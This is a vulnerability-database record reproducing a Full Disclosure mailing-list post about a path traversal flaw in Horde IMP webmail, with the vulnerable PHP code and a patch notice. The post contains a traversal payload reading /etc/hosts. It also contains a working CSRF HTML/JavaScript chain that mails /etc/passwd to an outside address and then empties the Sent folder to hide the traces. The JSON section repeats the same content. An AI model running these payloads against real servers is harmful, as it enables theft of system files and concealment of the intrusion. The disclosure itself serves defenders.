GCVE-1988-2026-0327
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln
Summary
this is my first time sending to a mailing list so ive chosen
something easy. here goes:
Summary: Horde Groupware’s IMP Webmail solution contains a path
traversal/local file inclusion vulnerability which could be exploited
to escalate privileges or bypass authentication (through CSRF if
unauthenticated).
the vulnerability is in here:
} elseif (strcasecmp($node->tagName, 'IMG') === 0) {
/* Check for smileys. They live in the JS directory, under
* the base ckeditor directory, so search for that and replace
* with the filesystem information if found (Request
* #13051). Need to ignore other image links that may have
* been explicitly added by the user. */
$js_path = strval(Horde::url($registry->get('jsuri',
'horde'), true));
if (stripos($src, $js_path . '/ckeditor') === 0) {
$file = str_replace(
$js_path,
$registry->get('jsfs', 'horde'),
$src
);
if (is_readable($file)) {
$data_part = new Horde_Mime_Part();
$data_part->setContents(file_get_contents($file));
...
as seen, we control $file, which is just the src in <img src="">. to
get past the checks to hit our file_get_contents sink, we can just
satisfy the stripos check. our (elementary) exploit is thus:
--
<img src="https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts";>
--
this is likely very chainable with any other existing primitive to
achieve rce on horde IMP. for example, heres an easy csrf chain:
--
<!DOCTYPE html>
<html>
<body>
<h1>yo</h1>
<script>
var p1 = new FormData();
p1.append('to', 'john () evil gov');
// land in spam
p1.append('subject', 'hai');
p1.append('html', '1');
p1.append('message',
'<html><body>bye<img
src="http://targ/horde/js/ckeditor/../../../../etc/passwd";></body></html>');
p1.append('identity', '0');
p1.append('priority', 'normal');
p1.append('request_read_receipt', '0');
p1.append('save_sent_mail', '1');
fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {
method: 'POST',
body: p1,
credentials: 'include',
mode: 'no-cors'
})
.then(() => {
console.log("* bye");
setTimeout(() => {
var p2 = new FormData();
p2.append('mbox', 'U0VOVA'); // b64 SENT
// delete
fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {
method: 'POST',
body: p2,
credentials: 'include',
mode: 'no-cors'
});
}, 2000);
});
</script>
</body>
</html>
--
PATCH:
update to horde imp 7.0.1 for the patch.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
reference
GCVE-1988-2026-0327 (this record)
- related CVE-2026-58451
{
"containers": {
"cna": {
"affected": [
{
"product": "imp",
"vendor": "horde",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "\u3164evan via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n /* Check for smileys. They live in the JS directory, under\n * the base ckeditor directory, so search for that and replace\n * with the filesystem information if found (Request\n * #13051). Need to ignore other image links that may have\n * been explicitly added by the user. */\n $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n $file = str_replace(\n $js_path,\n $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n $src\n );\n\n if (is_readable($file)) {\n $data_part = new Horde_Mime_Part();\n $data_part-\u003esetContents(file_get_contents($file));\n ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n \u003ch1\u003eyo\u003c/h1\u003e\n \u003cscript\u003e\n var p1 = new FormData();\n p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n // land in spam\n p1.append(\u0027subject\u0027, \u0027hai\u0027);\n p1.append(\u0027html\u0027, \u00271\u0027);\n p1.append(\u0027message\u0027,\n \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n p1.append(\u0027identity\u0027, \u00270\u0027);\n p1.append(\u0027priority\u0027, \u0027normal\u0027);\n p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n method: \u0027POST\u0027,\n body: p1,\n credentials: \u0027include\u0027,\n mode: \u0027no-cors\u0027\n })\n .then(() =\u003e {\n console.log(\"* bye\");\n setTimeout(() =\u003e {\n var p2 = new FormData();\n p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n method: \u0027POST\u0027,\n body: p2,\n credentials: \u0027include\u0027,\n mode: \u0027no-cors\u0027\n });\n }, 2000);\n });\n \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T07:55:54Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/8"
},
{
"url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
},
{
"url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
},
{
"url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/8"
],
"discovery": "EXTERNAL"
},
"title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-58451",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0327",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
"automated": true,
"contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-02T17:04:19Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0327"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:54Z",
"dateUpdated": "2026-09-11T07:55:54Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0327"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…